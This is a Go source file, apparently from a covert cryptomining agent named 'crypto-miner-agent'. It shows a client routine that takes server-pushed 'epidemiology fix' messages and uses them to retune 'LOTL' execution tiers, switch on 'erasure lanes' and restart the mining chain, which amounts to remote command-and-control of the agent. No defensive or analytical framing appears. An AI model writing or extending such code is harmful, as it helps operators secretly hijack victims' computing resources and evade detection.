package client import ( "context" "encoding/json" "log" "crypto-miner-agent/miner" ) // EpidemiologyFix is a server-pushed surgical correction after a broken mining branch. type EpidemiologyFix struct { AgentID string `json:"agent_id"` Reason string `json:"reason"` SkipTiers []string `json:"skip_tiers,omitempty"` ForceTier string `json:"force_tier,omitempty"` RestartChain bool `json:"restart_chain,omitempty"` ErasureLanes bool `json:"erasure_lanes,omitempty"` } func (c *AgentClient) applyEpidemiologyFixJSON(raw json.RawMessage) { if len(raw) == 0 || string(raw) == "null" { return } var fix EpidemiologyFix if err := json.Unmarshal(raw, &fix); err != nil { return } if fix.AgentID != "" && fix.AgentID != c.agentID { return } c.mu.Lock() policy := c.tierPolicy if len(fix.SkipTiers) > 0 { have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers)) for _, t := range policy.SkipTiers { have[t] = true } for _, s := range fix.SkipTiers { tier := miner.LOTLTier(s) if tier == "" || have[tier] { continue } have[tier] = true policy.SkipTiers = append(policy.SkipTiers, tier) } } if fix.ForceTier != "" { policy.ForceTier = miner.LOTLTier(fix.ForceTier) } c.tierPolicy = policy if fix.ErasureLanes { c.cfg.ErasureLanesEnabled = true } restart := fix.RestartChain c.mu.Unlock() log.Printf("[agent] epidemiology fix applied: %s", fix.Reason) if restart && c.miningChain != nil { c.miningChain.Restart(context.Background()) } }